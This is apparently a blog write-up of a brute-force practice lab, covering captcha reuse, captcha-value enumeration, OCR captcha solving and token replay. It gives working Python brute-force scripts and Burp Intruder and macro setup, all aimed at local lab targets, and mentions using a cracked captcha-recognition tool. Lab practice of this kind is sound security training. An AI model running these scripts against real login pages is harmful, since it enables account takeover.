banner
肥皂的小屋

肥皂的小屋

github
steam
bilibili
douban
tg_channel

BruteForce_test暴力破解練習

事情の起因#

3sNwgeek大佬が仕事で遭遇したケース、GitHub アドレス

この大佬にはもう一つAWDコンペに基づくワームwebshellシリーズも良いです

機会があればやってみたいです

環境の設定#

phpstudyのような環境で構築できます

git clone https://github.com/3sNwgeek/BruteForc_test

その後、BruteForc_test/low.htmlを開くとアクセスできます

image

burp の設定は、数日前に書いたdocker を使った pikachu と burp による Token ベースのフォームの暴力破解を参考にしてください

level-1_hint: サインイン問題#

使用した辞書

image

level-2_hint: 验证码の再利用#

reapterに送信し、パスワードを変更せずに验证码を変更してみてください:

image

image

验证码のエラーが報告されないことがわかりました。つまり、验证码は再利用可能で、上記と同じ手順を使用します

image

level-3_hint: 验证码の操作#

再度reapterを確認すると、验证码の使用回数に制限があることがわかりました:

image

image

ソースコードを確認すると、フロントエンドコードの他に、验证码ファイルがあります

image

そして、验证码ファイルのパラメータはフロントエンドから渡されます

image

Ccodeパラメータをテストして、特別な状況を発見しました

パラメータが111の場合、得られる验证码は1111111111の 4 つのうちの 1 つです

image

image

image

また、ここでは验证码の入力が間違っても验证码はリセットされません。

验证码が正しく入力され、パスワードが間違っている場合のみ、验证码がリセットされます。したがって、ここには验证码が爆破される可能性があります。

爆破スクリプトは以下の通りです:

import requests

code_url = 'http://127.0.0.1/BruteForc_test/yzm2.php?Ccode=111'
login_url = 'http://127.0.0.1/BruteForc_test/LoginMid2.php'
passwd_list = open('./10-million-password-list-top-1000.txt',
                   'r').read().splitlines()
for passwd in passwd_list:
    r = requests.session()
    r.get(code_url)
    for i in range(0, 4):
        number_list = ['1', '11', '111', '1111']
        data = {
            'name': 'admin',
            'password': passwd,
            'yzm': number_list[i]
        }
        html = r.post(login_url, data=data)
        if '登陆成功' in html.text:
            print("攻撃成功!パスワード:{}".format(passwd))
            exit()
        else:
            break

image

level-4_hint: フロントエンド暗号の突破#

通常のテストでは、最初にポップアップウィンドウを表示して入力したユーザー名とパスワードを表示します:

image

次に、もう一度ポップアップウィンドウを表示して一連の文字を表示し、キャプチャしたパケットには送信されたのはこのlogin_keyだけです

image

フロントエンド暗号化のため、burpintruderモジュールを使用して爆破することはできません

暗号化ファイルが見つからないので、しばらく放置します

level-5_hint: 验证码_OCR 識別#

ここでは前の問題は存在せず、验证码識別ツールを使用して验证码を識別し、まとめてpostする必要があります

python スクリプト#

公式インストーラをダウンロードし、デフォルトでインストールすると、インストールパスは:C:\Program Files (x86)\Tesseract-OCR\tesseract.exe

pipでライブラリをインストール:pip install pytesseract

また、验证码には識別失敗のケースがあり、各パスワードを何度も試す必要があります。「验证码错误」または「登陆成功」が表示されるまで試行します

全コードは以下の通りです:

import pytesseract
from PIL import Image
import requests
from io import BytesIO

pass_list = open('./10-million-password-list-top-1000.txt',
'r').read().splitlines()
url = 'http://192.168.1.11/BruteForc_test/LoginHigh.php'
for line in pass_list:
while True:
s = requests.session()
pytesseract.pytesseract.tesseract_cmd = 'C:/Program Files (x86)/Tesseract-OCR/tesseract.exe'
response = s.get('http://192.168.1.11/BruteForc_test/yzm.php')
image = Image.open(BytesIO(response.content))
code = pytesseract.image_to_string(image)
data = {
'name': 'admin',
'password': line,
'yzm': code
}
html = s.post(url, data=data) # 暴破試行
print('[[-]error]:{}'.format(line))
if '登陆成功' in html.text:
print('[[+]成功] パスワード:{}'.format(line))
exit()
if '验证码错误' not in html.text:
break

しかし、効率は高くありません:

image

PKAV HTTP Fuzzer#

ここでは、古いソフトウェアPKAV HTTP Fuzzerを使用しました

バリアント設定でburpがキャプチャしたパケットを入れます

image

passwordの値にマークを追加し、验证码の値に验证码マークを追加します

image

右側に辞書を追加します:

image

画像验证码識別タブに切り替え、验证码のアドレスを入力します:

http://192.168.1.11/BruteForc_test/yzm.php

内蔵のエンジンは使えませんが、内蔵の亦思验证码識別エンジンと次世代验证码識別エンジンは使用できます

image

ただし、画像を読み込むことしかできず、識別はできません。識別ライブラリを自作する必要があり、これらの 2 つのソフトウェアはどちらも有料です

亦思のクラック版は見つかりませんでしたが、次世代のものは一つ見つかり、解凍パスワードはxiazai.94fb.cnです

具体的な操作は非常に複雑なので、動画を見て学んでください

最後に、識別ライブラリの.cdsファイルをエクスポートし、読み込むと验证码を識別できるようになります:

image

識別ライブラリは公開しませんが、ライブラリを作成するのは非常に楽しいので、欲しい方はtgで私に連絡してください

パケット送信タブに切り替え、スタートをクリックすると、破解が開始されます:

image

burp プラグイン#

burpsuiteのプラグインreCAPTCHAはここでは使えません

プラグインcaptcha-killerを試すことができますが、このプラグイン自体には識別機能がなく、外部インターフェースを呼び出す必要があります

公式文書

level-6_hint: スライド验证码識別#

reapterを使って 2 回パケットを送信してみてください:

image

image

token値が変わらないことがわかりますが、返される値は異なります。つまり、重要なのはtokenではなく、sessionを検出することです

python スクリプト#

sessionを検出するのはpythonにとって非常に簡単です。なぜなら、requestにはsession()メソッドがあり、セッションを保持するために使用されるからです

ソースコードを確認すると、token値はページのソースコード入力ボックスの下にあります:

image

beautifulsoupを使用してページを解析し、tokenを取得して送信すれば大丈夫です

全コードは以下の通りです:

import requests
from bs4 import BeautifulSoup

url = 'http://127.0.0.1/BruteForc_test/hdyzma/'
login_url = 'http://127.0.0.1/BruteForc_test/hdyzma/welcome.php'
pass_list = open('./10-million-password-list-top-1000.txt',
'r').read().splitlines()
for line in pass_list:
s = requests.session()
html = s.get(url)
soup = BeautifulSoup(html.text, 'html5lib')
tag = soup.find_all('input')
token = tag[2].get('value')
data = {
'name': 'admin',
'password': line,
'token': token
}
html = s.post(login_url, data=data)
if '登陆成功' in html.text:
print('[[+]成功] パスワードは:{}'.format(line))
exit()

image

burp#

靶場の原作者3sNwGeekに従って一通りやってみます

引き下げた验证码でキャプチャしたパケットのresponseの中にtoken値があります

image

したがって、burpsuiteのマクロ機能を使用してログインページのtoken値をキャッチしてログインリクエストに埋め込むことができます

マクロの作成#

Project optionsSessionsタブに切り替え、最下部のMarcrosに移動します

image

追加をクリックするとポップアップが表示され、先ほどの192.168.1.11の唯一のgetパケットを選択します:

image

OK をクリックし、Macroの説明を変更し、隣のconfigure itemボタンをクリックします:

image

下のタブでAddをクリックして、指定したtokenパラメータを追加します:

image

マウスでtoken値を選択すると、burpが開始マークと終了マークを自動的に入力し、Parameter nametokenを自分で入力すれば大丈夫です

image

これと異なる設定をしている場合は、これと同じように変更することをお勧めします。たとえば、token値を選択した後

開始の正規表現はvalue ="ですが、"token" value ="に変更することをお勧めします

セッション処理ルール#

Session Handling Rulesには新しいルールがすでに追加されています

image

編集をクリックし、カスタム名を設定し、Rule Actionsのデフォルトの 1 つを削除してRun a macroを追加します:

image

先ほど設定したmacroを追加し、パラメータ名を先ほど設定したtokenに設定します

image

次に、マクロの影響範囲を設定します。アカウントパスワードの暴力破解のみが必要なので、

Tools ScopeではRepeaterIntruderのみを選択し、他のモジュールは実際のニーズに応じてチェックします:

image

暴力破解#

Repeaterに戻り、Goをクリックして再度パケットを送信すると、現在tokenパラメータが自動的に更新されることがわかります:

image

image

Intruderを使用してアカウントパスワードを暴力破解し、モードをCluster bomb(クラスター爆弾)に設定します

このモードでは 2 つ以上のpayloadを設定する必要があるため、usernamepayloadとして設定します

image

次に、payload setsの最初の位置にadminを 1 つ追加し、2 番目のpayloadは引き続きtop-1000です

image

マルチスレッドでは同時にトークンが更新されるため、一部のリクエストパケットがすでに更新されたトークンを取得する可能性があるため、単スレッドで実行する必要があります

成功裏にアカウントadmin/123456aを暴破しました

image

参考記事:

この記事は終わりです。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。